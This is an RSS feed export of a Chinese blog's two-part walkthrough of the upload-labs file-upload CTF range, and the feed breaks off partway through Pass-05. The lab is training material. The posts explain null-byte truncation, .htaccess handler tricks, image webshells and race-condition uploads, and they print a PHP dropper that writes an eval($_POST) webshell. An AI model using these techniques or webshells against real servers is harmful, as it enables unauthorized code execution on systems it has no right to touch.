<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:georss="http://www.georss.org/georss"
	xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
	>

<channel>
	<title>CTF &#8211; Blog of Code</title>
	<atom:link href="https://www.cztcode.com/category/ctfweb/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.cztcode.com</link>
	<description></description>
	<lastBuildDate>Mon, 04 May 2020 10:10:28 +0000</lastBuildDate>
	<language>zh-Hans</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.cztcode.com/wp-content/uploads/2024/02/cropped-logo-32x32.webp</url>
	<title>CTF &#8211; Blog of Code</title>
	<link>https://www.cztcode.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">217219486</site>	<item>
		<title>Upload-labs题解（下）</title>
		<link>https://www.cztcode.com/2020/1679/</link>
					<comments>https://www.cztcode.com/2020/1679/#comments</comments>
		
		<dc:creator><![CDATA[Jellow]]></dc:creator>
		<pubDate>Mon, 04 May 2020 10:10:28 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://www.cztcode.com/?p=1679</guid>

					<description><![CDATA[Upload-labs题解的续集~，文件上传漏洞解析。]]></description>
										<content:encoded><![CDATA[<div id="bsf_rt_marker"></div>
<p class="is-style-iw-2em"><a href="https://www.cztcode.com/2020/upload-labs-problem-solution-i/" class="rank-math-link">前十道题连接</a></p>



<h3 class="wp-block-heading">Pass-11</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if(isset($_POST&#91;'submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES&#91;'upload_file']&#91;'name'],strrpos($_FILES&#91;'upload_file']&#91;'name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
        $img_path = $_GET&#91;'save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}
</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">这次是将文件名.后截取，和白名单匹配，看似没有什么问题，不过可以上传文件路径。通过把shell.php上传到路径中截断的方式可以得到上传web shell的目的。因为路径是要与文件名拼接的，让文件在存放的时候读取到拼接后被截断的位置就停止（字符串结束符0，在url编码后为%00）。</p>



<p class="is-style-iw-2em">在url中%00表示ascll码中的0 ，而ascii中0作为特殊字符保留，表示字符串结束，所以当url中出现%00时就会认为读取已结束</p>



<ul class="wp-block-list"><li>upfiles/?filename=test.txt&nbsp; 上传的是test.txt</li><li>upfiles/?filename=shell.php%00test.txt   上传的是shell.php</li></ul>



<h4 class="wp-block-heading">题解</h4>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="495" height="153" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-50.png" alt="" class="wp-image-1681" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-50.png 495w, https://www.cztcode.com/wp-content/uploads/2020/04/image-50-300x93.png 300w" sizes="(max-width: 495px) 100vw, 495px" /></figure>



<p class="is-style-iw-2em"><strong>上传成功！</strong></p>



<h3 class="wp-block-heading">Pass-12</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if(isset($_POST&#91;'submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES&#91;'upload_file']&#91;'name'],strrpos($_FILES&#91;'upload_file']&#91;'name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
        $img_path = $_POST&#91;'save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}
</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">这次上传的路径是post形式，可以通过00截断。0x开头表示16进制，0在十六进制中是00, 0x00就是%00解码成的16进制。</p>



<h4 class="wp-block-heading">题解</h4>



<figure class="wp-block-image size-large"><img decoding="async" width="484" height="136" src="https://www.cztcode.com/wp-content/uploads/2020/05/image.png" alt="" class="wp-image-1683" srcset="https://www.cztcode.com/wp-content/uploads/2020/05/image.png 484w, https://www.cztcode.com/wp-content/uploads/2020/05/image-300x84.png 300w" sizes="(max-width: 484px) 100vw, 484px" /></figure>



<p class="is-style-iw-2em">把上传路径换成shell.php，注意p后面有一个空格（方便一会识别）</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-1.png" alt="" class="wp-image-1684"/></figure>



<p class="is-style-iw-2em">进入Hex模式，修改16进制，这里左侧16进制与右侧文本是按行对应的。找到刚刚更改的shell.php。在php的十六进制是70 68 70。点击后面的20。右键插入字节（默认是00）</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-2-1024x94.png" alt="" class="wp-image-1685"/></figure>



<p class="is-style-iw-2em"><strong>上传成功！</strong></p>



<h3 class="wp-block-heading">Pass-13  14  15  16</h3>



<p class="is-style-iw-2em">前三道题都是图片，只要构造好图片马上传连接即可</p>



<p class="is-style-iw-2em">16题使用了二次渲染，<a href="https://xz.aliyun.com/t/2657" class="rank-math-link" target="_blank" rel="noopener">图片马制作方法</a>。</p>



<p class="is-style-iw-2em">图片马是把一句话木马写入到图片内，再通过文件上传漏洞将图片解析成php执行。</p>



<figure class="wp-block-image size-large"><img decoding="async" width="711" height="243" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-8.png" alt="" class="wp-image-1778" srcset="https://www.cztcode.com/wp-content/uploads/2020/05/image-8.png 711w, https://www.cztcode.com/wp-content/uploads/2020/05/image-8-300x103.png 300w" sizes="(max-width: 711px) 100vw, 711px" /></figure>



<p class="is-style-iw-2em">这里我构造好了 png jpg gif 格式的图片马   <a href="http://picture7.oss-cn-beijing.aliyuncs.com/%E4%B8%80%E5%8F%A5%E8%AF%9D.rar" class="rank-math-link" target="_blank" rel="noopener">点击下载</a>   （不含16题）</p>



<p class="is-style-iw-2em">png 的shell是  shell             jpg和gif的shell  是  1</p>



<p class="is-style-iw-2em">此外，要利用文件上传漏洞，在upload文件夹内还要有这段代码</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-9.png" alt="" class="wp-image-1779"/></figure>



<pre class="wp-block-code"><code>&lt;?php
$file=$_GET&#91;page];
include($file);
?></code></pre>



<p class="is-style-iw-2em">我们进行连接时，通过给page传参数，即可连接</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="935" height="621" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-10.png" alt="" class="wp-image-1780" srcset="https://www.cztcode.com/wp-content/uploads/2020/05/image-10.png 935w, https://www.cztcode.com/wp-content/uploads/2020/05/image-10-300x199.png 300w, https://www.cztcode.com/wp-content/uploads/2020/05/image-10-768x510.png 768w" sizes="(max-width: 935px) 100vw, 935px" /></figure>



<h3 class="wp-block-heading">Pass-17</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;

if(isset($_POST&#91;'submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES&#91;'upload_file']&#91;'name'];
    $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}
</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">这次使用的仍然是白名单，但不一样的是。这次是先上传文件到文件夹，如果不符合白名单的条件再调用unlink删除这个文件。</p>



<p class="is-style-iw-2em">可以使用<strong>条件竞争</strong>的方法，不停的向服务器上传webshell。当服务器没来得及调用unlink函数时访问。这个webshell是特殊的，调用它会再生成一个webshell从而在服务器里保存。</p>



<p class="is-style-iw-2em">in_shell.php文件：</p>



<pre class="wp-block-code"><code>&lt;?php
phpinfo();
@eval(file_put_contents("shell.php","&lt;?php @eval(\$_POST&#91;shell]);?>"));
?></code></pre>



<p class="is-style-iw-2em">调用后会生成 shell.php</p>



<h4 class="wp-block-heading">题解</h4>



<p class="is-style-iw-2em">先上传源文件，使用bp抓包。</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="703" height="232" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-12.png" alt="" class="wp-image-1841" srcset="https://www.cztcode.com/wp-content/uploads/2020/05/image-12.png 703w, https://www.cztcode.com/wp-content/uploads/2020/05/image-12-300x99.png 300w" sizes="(max-width: 703px) 100vw, 703px" /></figure>



<p class="is-style-iw-2em">使用intruder入侵</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="660" height="487" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-13.png" alt="" class="wp-image-1842" srcset="https://www.cztcode.com/wp-content/uploads/2020/05/image-13.png 660w, https://www.cztcode.com/wp-content/uploads/2020/05/image-13-300x221.png 300w" sizes="(max-width: 660px) 100vw, 660px" /></figure>



<p class="is-style-iw-2em">无限上传</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-14.png" alt="" class="wp-image-1843"/></figure>



<p class="is-style-iw-2em">线程100</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="596" height="373" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-15.png" alt="" class="wp-image-1844" srcset="https://www.cztcode.com/wp-content/uploads/2020/05/image-15.png 596w, https://www.cztcode.com/wp-content/uploads/2020/05/image-15-300x188.png 300w" sizes="(max-width: 596px) 100vw, 596px" /></figure>



<p class="is-style-iw-2em">在启动之前，去浏览器输入访问的文件（提前上传一个png查看返回路径）</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="787" height="227" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-16.png" alt="" class="wp-image-1845" srcset="https://www.cztcode.com/wp-content/uploads/2020/05/image-16.png 787w, https://www.cztcode.com/wp-content/uploads/2020/05/image-16-300x87.png 300w, https://www.cztcode.com/wp-content/uploads/2020/05/image-16-768x222.png 768w" sizes="(max-width: 787px) 100vw, 787px" /></figure>



<p class="is-style-iw-2em">启动intruder，在浏览器不停刷新，注意这里要换一个不被bp监听的浏览器。当有phpinfo界面一闪而过时，说明已经上传成功了。去网站目录也可以看见。</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="583" height="214" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-17.png" alt="" class="wp-image-1846" srcset="https://www.cztcode.com/wp-content/uploads/2020/05/image-17.png 583w, https://www.cztcode.com/wp-content/uploads/2020/05/image-17-300x110.png 300w" sizes="(max-width: 583px) 100vw, 583px" /></figure>



<p class="is-style-iw-2em">菜刀连接即可。</p>



<h3 class="wp-block-heading">Pass-18</h3>



<pre class="wp-block-code"><code>
index.php代码

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST&#91;'submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES&#91;'upload_file']&#91;'name'], $_FILES&#91;'upload_file']&#91;'tmp_name'], $_FILES&#91;'upload_file']&#91;'size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传，但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败，上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败，无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败，上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败，服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传，文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误！';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};


Copyright @ 2018 ~ 2020 by c0ny1
</code></pre>



<h3 class="wp-block-heading">分析</h3>



<p class="is-style-iw-2em">白名单中存在.7z这个后缀名，apache不能解析，因此可以利用apache的解析漏洞，命名文件为1.php.7z，这样，apche从右往左解析时，遇到.7z不认识，就把这个文件当作.php来解析。</p>



<p class="is-style-iw-2em">这道首先会检测文件名.结尾后是不是白名单，如果是的话就进行move。然后再进行重命名（把.之前的去掉），我们可以利用这个间隙不断地上传shell.php.7z文件，就可以进行资源竞争。</p>



<p class="is-style-iw-2em">这里与上一关方法相同，发现了上传返回不一样的文件。</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="275" height="150" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-26.png" alt="" class="wp-image-1975"/></figure>



<p class="is-style-iw-2em">去看文件果然上传成功，注意这里的前缀是因为uploadlabs的bug，应该在upload目录下的，现在没有分开，不过意思已经表达到了。当我们连接这个文件时，</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="786" height="201" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-27.png" alt="" class="wp-image-1976" srcset="https://www.cztcode.com/wp-content/uploads/2020/05/image-27.png 786w, https://www.cztcode.com/wp-content/uploads/2020/05/image-27-300x77.png 300w, https://www.cztcode.com/wp-content/uploads/2020/05/image-27-768x196.png 768w" sizes="(max-width: 786px) 100vw, 786px" /></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="489" src="https://www.cztcode.com/wp-content/uploads/2020/05/image-28-1024x489.png" alt="" class="wp-image-1977" srcset="https://www.cztcode.com/wp-content/uploads/2020/05/image-28-1024x489.png 1024w, https://www.cztcode.com/wp-content/uploads/2020/05/image-28-300x143.png 300w, https://www.cztcode.com/wp-content/uploads/2020/05/image-28-768x367.png 768w, https://www.cztcode.com/wp-content/uploads/2020/05/image-28.png 1189w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="is-style-iw-2em"><strong>搞定！</strong></p>



<p class="is-style-iw-2em">继续更新~</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.cztcode.com/2020/1679/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1679</post-id>	</item>
		<item>
		<title>Upload-labs题解（上）</title>
		<link>https://www.cztcode.com/2020/1648/</link>
					<comments>https://www.cztcode.com/2020/1648/#comments</comments>
		
		<dc:creator><![CDATA[Jellow]]></dc:creator>
		<pubDate>Wed, 29 Apr 2020 03:52:33 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://www.cztcode.com/?p=1648</guid>

					<description><![CDATA[upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。]]></description>
										<content:encoded><![CDATA[<div id="bsf_rt_marker"></div>
<h2 class="wp-block-heading">UPload-labs简介</h2>



<p class="is-style-iw-2em">upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。</p>



<p class="is-style-iw-2em">项目地址：<a href="https://github.com/c0ny1/upload-labs" class="rank-math-link" target="_blank" rel="noopener">Upload-labs</a></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="474" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-31-1024x474.png" alt="" class="wp-image-1649" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-31-1024x474.png 1024w, https://www.cztcode.com/wp-content/uploads/2020/04/image-31-300x139.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/image-31-768x356.png 768w, https://www.cztcode.com/wp-content/uploads/2020/04/image-31-1536x711.png 1536w, https://www.cztcode.com/wp-content/uploads/2020/04/image-31.png 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="is-style-iw-2em"><strong>题目都是文件上传，能传进去一句话木马用蚁剑菜刀连上就可以。</strong></p>



<h3 class="wp-block-heading">Pass-01</h3>



<pre class="wp-block-code"><code>function checkFile() {
    var file = document.getElementsByName('upload_file')&#91;0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">var ext_name截取文件名最后一个.和之后的字母。</p>



<p class="is-style-iw-2em">allow_ext.indexOf加上 | 与allow_ext中的条件匹配。文件只能是jpg，png格式。</p>



<h4 class="wp-block-heading">解法1：</h4>



<p class="is-style-iw-2em">选择.png一句话木马上传，用BP改成php文件即可。</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="476" height="275" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-33.png" alt="" class="wp-image-1651" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-33.png 476w, https://www.cztcode.com/wp-content/uploads/2020/04/image-33-300x173.png 300w" sizes="(max-width: 476px) 100vw, 476px" /></figure>



<p class="is-style-iw-2em"><strong>上传成功</strong>，回显了上传的图片，右键复制图片路径用蚁剑连接。</p>



<figure class="wp-block-image size-medium is-style-default"><img loading="lazy" decoding="async" width="300" height="277" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-34-300x277.png" alt="" class="wp-image-1652" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-34-300x277.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/image-34.png 512w" sizes="(max-width: 300px) 100vw, 300px" /></figure>



<h4 class="wp-block-heading">解法2：</h4>



<p class="is-style-iw-2em">点击一下上传发现前端报错，可以直接前端绕过。</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="820" height="314" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-35.png" alt="" class="wp-image-1653" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-35.png 820w, https://www.cztcode.com/wp-content/uploads/2020/04/image-35-300x115.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/image-35-768x294.png 768w" sizes="(max-width: 820px) 100vw, 820px" /></figure>



<p class="is-style-iw-2em">在前端修改js代码即可，在调试器中找到这段函数复制到控制台。</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="988" height="254" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-36.png" alt="" class="wp-image-1654" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-36.png 988w, https://www.cztcode.com/wp-content/uploads/2020/04/image-36-300x77.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/image-36-768x197.png 768w" sizes="(max-width: 988px) 100vw, 988px" /></figure>



<p class="is-style-iw-2em">添加php类型后运行，同样可以<strong>上传成功</strong>。需要注意的是，js的修改是以函数为单位的，新修改的函数会覆盖掉旧函数。</p>



<h3 class="wp-block-heading">Pass-02</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if (isset($_POST&#91;'submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES&#91;'upload_file']&#91;'type'] == 'image/jpeg') || ($_FILES&#91;'upload_file']&#91;'type'] == 'image/png') || ($_FILES&#91;'upload_file']&#91;'type'] == 'image/gif')) {
            $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES&#91;'upload_file']&#91;'name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">这次判断的是文件类型，只允许png和gif格式的图片。可以上传php格式的木马，用BP更改文件类型为image/png即可。</p>



<h4 class="wp-block-heading">题解</h4>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="456" height="130" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-37.png" alt="" class="wp-image-1655" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-37.png 456w, https://www.cztcode.com/wp-content/uploads/2020/04/image-37-300x86.png 300w" sizes="(max-width: 456px) 100vw, 456px" /></figure>



<p class="is-style-iw-2em"><strong>上传成功</strong></p>



<h3 class="wp-block-heading">Pass-03</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if (isset($_POST&#91;'submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES&#91;'upload_file']&#91;'name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">第三题又是一个新类型的题：<strong>黑名单限制文件上传</strong>，不允许上   传<code>.asp|.aspx|.php|.jsp</code>后缀文件。那么要如何绕过呢？<br>这里说下关于Apache的一些知识：</p>



<ul class="wp-block-list"><li>Apache的解析顺序是从右到左开始解析文件后缀的，如果最右侧扩展名不可识别，就继续往左判断。直到遇到可以解析的文件后缀为止</li><li>可以上传例如<code>php3, phtml</code>后缀的文件绕过，前提是<strong>Apache</strong>的<strong>httpd.conf</strong>中配置有如下代码:<br><code>AddType application/x-httpd-php .php .php3 .phtml</code></li></ul>



<p class="is-style-iw-2em">服务器会将<code>.php3, .phtml</code>后缀的文件当成<code>.php</code>解析。</p>



<p class="is-style-iw-2em">也就是说，可以抓包更改成php3或者phtml后缀即可上传。</p>



<h4 class="wp-block-heading">题解</h4>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="485" height="147" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-38.png" alt="" class="wp-image-1656" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-38.png 485w, https://www.cztcode.com/wp-content/uploads/2020/04/image-38-300x91.png 300w" sizes="(max-width: 485px) 100vw, 485px" /></figure>



<p class="is-style-iw-2em"><strong>上传成功！</strong></p>



<h3 class="wp-block-heading">Pass-04</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if (isset($_POST&#91;'submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES&#91;'upload_file']&#91;'name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">这道题很绝，禁用了大部分文件格式和常见的绕过方式。不过&#8212;没禁用.htaccess格式。</p>



<p class="is-style-iw-2em"><code>.htaccess</code>文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过<code>.htaccess</code>文件，可以实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件，该文件默认开启，启用和关闭在<code>httpd.conf</code>文件中配置。</p>



<p class="is-style-iw-2em">上传一个<code>.htaccess</code>内容如下的文件</p>



<pre class="wp-block-code"><code>SetHandler application/x-httpd-php      </code></pre>



<p class="is-style-iw-2em">注意，在htaccess文件中这句话没有分号，建议直接建一个没有文件名的htaccess文件，或者上传的时候改包成无文件名。</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="385" height="122" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-39.png" alt="" class="wp-image-1657" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-39.png 385w, https://www.cztcode.com/wp-content/uploads/2020/04/image-39-300x95.png 300w" sizes="(max-width: 385px) 100vw, 385px" /></figure>



<p class="is-style-iw-2em">这样所有文件都会解析为php，然后再上传图片马就可以解析。</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-40.png" alt="" class="wp-image-1659"/></figure>



<p class="is-style-iw-2em"><strong>连接成功！</strong></p>



<h3 class="wp-block-heading">Pass-05</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if (isset($_POST&#91;'submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES&#91;'upload_file']&#91;'name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
